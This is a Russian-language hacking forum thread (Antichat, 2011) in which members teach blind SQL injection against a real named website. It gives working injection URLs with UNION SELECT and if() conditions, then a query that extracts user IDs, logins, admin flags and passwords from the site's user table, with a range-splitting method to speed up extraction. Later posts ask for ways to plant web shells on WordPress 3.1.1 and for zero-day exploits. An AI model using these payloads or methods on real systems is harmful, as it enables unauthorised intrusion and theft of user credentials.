05.06.2011, 12:38
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
M_script, зачем переменные? Можно и без них обойтись...
ReV0LVeR, синтаксис if такой:
Тоесть то же, что, например, на пхп выглядит так:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]условие[/COLOR][COLOR="#007700"])
return[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];
else
return[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]
Таким образом, если условие == true, то результат будет 1, если же нет - то false.
Покажу пример:
Код:
http://divantvplus.ru/index.html?id=390 and 1=2 union select 1,2,3,4,5,if(2=3-1,6,0),7,8,9,10,11--
Условие - то, что подчёркнуто и выделено, т.е. 2 = 3 - 1. Естественно, что это правда (true), и поэтому, в 6 колонку подставится значение 6. Если бы это была ложь (false) - вернулся бы 0, и, соответственно, страница бы не загрузилась.
Код:
http://divantvplus.ru/index.html?id=390 and 1=2 union select 1,2,3,4,5,if(1=2,6,0),7,8,9,10,11--
А дальше идёт посимвольный перебор значений. Об этом читай на ачате =)
|
|
|
05.06.2011, 15:20
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404
Репутация:
564
|
|
[CODE]
http://divantvplus.ru/index.html?id=390 and ascii(substring((SELECT concat(sys_users.user_id,0x3a,sys_users.user_name, 0x3a,sys_users.super,0x3a,sys_users.admin,0x3a,sys _users.user_login,0x3a,sys_users.user_password) FROM divantvplus.sys_users LIMIT [B]1,1),16,1))
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
|
|
|
|
05.06.2011, 17:23
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512
Репутация:
0
|
|
Сообщение от mailbrush
M_script
, зачем переменные? Можно и без них обойтись...
Для сокращения длины запроса. Потому что 4 различных состояния страницы, а не 2
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]) {
if([/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"]) {
return[/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"];
}
else {
return[/COLOR][COLOR="#0000BB"]3[/COLOR][COLOR="#007700"];
}
}
else {
if([/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]) {
return[/COLOR][COLOR="#0000BB"]2
[/COLOR][COLOR="#007700"]}
else {
return[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];
}
}[/COLOR][/COLOR]
|
|
|
|
05.06.2011, 17:28
|
|
Участник форума
Регистрация: 26.06.2010
Сообщений: 179
Провел на форуме:
60692
Репутация:
6
|
|
В последнее время много шелов на wordpress 3.1.1! Поделитесь способом!
|
|
|
|
05.06.2011, 17:36
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
Сообщение от Kuteke
В последнее время много шелов на wordpress 3.1.1! Поделитесь способом!
Где много?
|
|
|
|
05.06.2011, 18:08
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512
Репутация:
0
|
|
Сообщение от ReV0LVeR
Почему 1,1 какой в этом смысловой нагруз?
Один символ, начиная с первого.
2,1 - один символ, начиная со второго.
1,2 - два символа, начиная с первого.
Сообщение от ReV0LVeR
почему именно 128?
Середина диапазона 0-255.
Сообщение от ReV0LVeR
Почему именно со 196 сравнение?
Середина диапазона 128-255. Это условие проверяется, если первое условие x>128 выполнено.
Сообщение от ReV0LVeR
Тут тоже не понятно откудо взялось 64
Середина диапазона 0-128. Это условие проверяется, если первое условие x>128 не выполнено.
Сообщение от ReV0LVeR
почему 0,1?
Сообщение от ReV0LVeR
что такое 5,6
Значения 0,1,5,6 попадая в поле 6 запроса дают различный вывод страницы.
Если выводится страница, соответсвующая 0, код символа находится в первом диапазоне 196-255
Если выводится страница, соответсвующая 1, код символа находится во втором диапазоне 128-196
Если выводится страница, соответсвующая 5, код символа находится в третьем диапазоне 64-128
Если выводится страница, соответсвующая 6, код символа находится в четвертом диапазоне 0-64
Найденный первым запросом диапазон так же делится на 4 части (в примере - 64-80, 80-96, 96-112, 112-128). Такое деление продолжается до тех пор, пока диапазон не будет ограничен одним числом.
Диапазон 0-255 я привел для примера, так как он универсальный. На практике все зависит от того, какое значение нужно получить.
|
|
|
|
05.06.2011, 18:17
|
|
Участник форума
Регистрация: 26.06.2010
Сообщений: 179
Провел на форуме:
60692
Репутация:
6
|
|
Поделитесь способом заливки шела на WP 3.1.1! Попугай, в интернете
|
|
|
|
05.06.2011, 18:29
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
Сообщение от Kuteke
Поделитесь способом заливки шела на WP 3.1.1! Попугай, в интернете
Да способы не изменились в принципе - правка шаблонов, правка плагинов, загрузка файлов(не всегда прокатывает)
|
|
|
|
05.06.2011, 18:39
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от попугай
Да способы не изменились в принципе - правка шаблонов, правка плагинов, загрузка файлов(не всегда прокатывает)
Я, так понимаю, он просит зиродэй плоенты под вп 3.1.1, а не сам процесс заливки шелла ))
|
|
|
|
05.06.2011, 20:37
|
|
Участник форума
Регистрация: 26.06.2010
Сообщений: 179
Провел на форуме:
60692
Репутация:
6
|
|
Сообщение от Tigger
Я, так понимаю, он просит зиродэй плоенты под вп 3.1.1, а не сам процесс заливки шелла ))
Да, да!
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
